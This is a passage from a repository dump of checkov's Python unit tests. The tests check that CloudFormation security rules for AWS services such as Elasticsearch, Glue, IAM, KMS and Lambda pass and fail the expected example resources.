    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ElasticacheReplicationGroupEncryptionAtTransitAuthToken import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestElasticacheReplicationGroupEncryptionAtTransitAuthToken(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::ElastiCache::ReplicationGroup.ReplicationGroupPass\",\n            \"AWS::ElastiCache::ReplicationGroup.ReplicationGroupPass2\",\n        }\n        failing_resources = {\n            \"AWS::ElastiCache::ReplicationGroup.ReplicationGroupFail\",\n            \"AWS::ElastiCache::ReplicationGroup.ReplicationGroupFail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ElasticsearchDomainAuditLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ElasticsearchDomainAuditLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestElasticsearchDomainAuditLogging(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticsearchDomainAuditLogging\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ElasticsearchDomainEnforceHTTPS.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ElasticsearchDomainEnforceHTTPS import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestElasticsearchDomainEnforceHTTPS(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticsearchDomainEnforceHTTPS\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ElasticsearchDomainLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ElasticsearchDomainLogging import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestElasticsearchDomainLogging(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticsearchDomainLogging\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ElastisearchEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ElasticsearchEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestElasticsearchEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticsearchEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_ElastisearchNodeToNodeEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.ElasticsearchNodeToNodeEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestElasticsearchNodeToNodeEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ElasticsearchNodeToNodeEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_GlueDataCatalogEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.GlueDataCatalogEncryption import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestGlueDataCatalogEncryption(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GlueDataCatalogEncryption\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_GlueSecurityConfiguration.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.GlueSecurityConfiguration import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestGlueSecurityConfiguration(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GlueSecurityConfiguration\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_GlueSecurityConfigurationEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.GlueSecurityConfigurationEnabled import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestGlueSecurityConfigurationEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_GlueSecurityConfigurationEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Glue::Crawler.CrawlerEnabled\",\n            \"AWS::Glue::DevEndpoint.DevEndpointEnabled\",\n            \"AWS::Glue::Job.JobEnabled\",\n        }\n        failing_resources = {\n            \"AWS::Glue::Crawler.CrawlerDefault\",\n            \"AWS::Glue::DevEndpoint.DevEndpointDefault\",\n            \"AWS::Glue::Job.JobDefault\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_IAMAdminPolicyDocument.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMAdminPolicyDocument import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestIAMAdminPolicyDocument(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMAdminPolicyDocument\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(report.failed_checks[0].check_id, check.id)\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_IAMPermissionsManagement.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMPermissionsManagement import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestIAMPermisionsManagement(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/Cloudsplaining_IAMPermissionsManagement\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(report.failed_checks[0].check_id, check.id)\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action'])\n        self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/'])\n        self.assertEqual(report.failed_checks[2].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/'])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_IAMPolicyAttachedToGroupOrRoles.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMPolicyAttachedToGroupOrRoles import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestIAMPolicyAttachedToGroupOrRoles(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMPolicyAttachedToGroupOrRoles\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_IAMRoleAllowAssumeFromAccount.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMRoleAllowAssumeFromAccount import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestIAMRoleAllowAssumeFromAccount(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMRoleAllowAssumeFromAccount\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 5)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_IAMRoleAllowsPublicAssume.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMRoleAllowsPublicAssume import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestIAMRoleAllowsPublicAssume(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMRoleAllowsPublicAssume\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::IAM::Role.ServiceRole\",\n            \"AWS::IAM::Role.DenyIgnore\",\n            \"AWS::IAM::Role.ServiceRole2\",\n            \"AWS::IAM::Role.DenyIgnore2\",\n        }\n\n        failing_resources = {\n            \"AWS::IAM::Role.AWSStarPrincipal\",\n            \"AWS::IAM::Role.AWSStarPrincipalInList\",\n            \"AWS::IAM::Role.AWSStarPrincipal2\",\n            \"AWS::IAM::Role.AWSStarPrincipalInList2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_IAMStarActionPolicyDocument.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMStarActionPolicyDocument import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestIAMStarActionPolicyDocument(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IAMStarActionPolicyDocument\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(report.failed_checks[0].check_id, check.id)\n        self.assertEqual(summary['passed'], 5)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_IAMWriteAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IAMWriteAccess import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestIAMWriteAccess(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/Cloudsplaining_IAMWriteAccess\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        self.assertEqual(report.failed_checks[0].check_id, check.id)\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action'])\n        self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/'])\n        self.assertEqual(report.failed_checks[2].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/'])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_IMDSv1Disabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.IMDSv1Disabled import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestIMDSv1Disabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IMDSv1Disabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_KMSKeyWildCardPrincipal.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.KMSKeyWildCardPrincipal import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKMSKeyWildCardPrincipal(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KMSKeyWildCardPrincipal\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n\n        passing_resources = {\n            \"AWS::KMS::Key.Root\",\n            \"AWS::KMS::Key.Deny\",\n        }\n        failing_resources = {\n            \"AWS::KMS::Key.AwsWildcard\",\n            \"AWS::KMS::Key.AwsWildcardList\",\n            \"AWS::KMS::Key.Wildcard\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_KMSRotation.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.KMSRotation import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKMSRotation(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KMSRotation\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_KinesisStreamEncryptionType.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.KinesisStreamEncryptionType import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestKinesisStreamEncryptionType(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KinesisStreamEncryptionType\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::Kinesis::Stream.KMSEncryption\"\n        }\n\n        failing_resources = {\n            \"AWS::Kinesis::Stream.NoEncryption\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_LambdaDLQConfigured.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.LambdaDLQConfigured import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestLambdaDLQConfigured(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_LambdaDLQConfigured\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Lambda::Function.Enabled\",\n            \"AWS::Serverless::Function.Enabled\",\n        }\n        failing_resources = {\n            \"AWS::Lambda::Function.Default\",\n            \"AWS::Serverless::Function.Default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_LambdaEnvironmentCredentials.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.LambdaEnvironmentCredentials import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestLambdaEnvironmentCredentials(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_LambdaEnvironmentCredentials\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Lambda::Function.NoEnv\",\n            \"AWS::Lambda::Function.NoSecret\",\n            \"AWS::Lambda::Function.EnvNull\",\n            \"AWS::Lambda::Function.UnresolvedEnv\",\n            \"AWS::Serverless::Function.NoEnv\",\n            \"AWS::Serverless::Function.NoProperties\",\n            \"AWS::Serverless::Function.NoSecret\",\n            \"AWS::Lambda::Function.Pass2\",\n            \"AWS::Lambda::Function.CDKLambda\",\n        }\n        failing_resources = {\n            \"AWS::Lambda::Function.Secret\",\n            \"AWS::Serverless::Function.Secret\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_LambdaEnvironmentEncryptionSettings.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.LambdaEnvironmentEncryptionSettings import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestLambdaEnvironmentEncryptionSettings(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_LambdaEnvironmentEncryptionSettings\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::Lambda::Function.EnvAndKey\",\n            \"AWS::Lambda::Function.NoEnvAndNoKey\",\n            \"AWS::Serverless::Function.EnvAndKey\",\n            \"AWS::Serverless::Function.NoEnvAndNoKey\",\n        }\n\n        failing_resources = {\n            \"AWS::Lambda::Function.EnvAndNoKey\",\n            \"AWS::Serverless::Function.EnvAndNoKey\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_LambdaFunctionLevelConcurrentExecutionLimit.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.LambdaFunctionLevelConcurrentExecutionLimit import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestLambdaFunctionLevelConcurrentExecutionLimit(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LambdaFunctionLevelConcurrentExecutionLimit\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Lambda::Function.Enabled\",\n            \"AWS::Serverless::Function.Enabled\",\n        }\n        failing_resources = {\n            \"AWS::Lambda::Function.Default\",\n            \"AWS::Serverless::Function.Default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_LambdaFunctionURLAuth.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.LambdaFunctionURLAuth import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestLambdaFunctionURLAuth(unittest.TestCase):\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_LambdaFunctionURLAuth\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::Lambda::Url.AuthTypePass\",\n        }\n        failing_resources = {\n            \"AWS::Lambda::Url.AuthTypeFail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_LambdaInVPC.py",
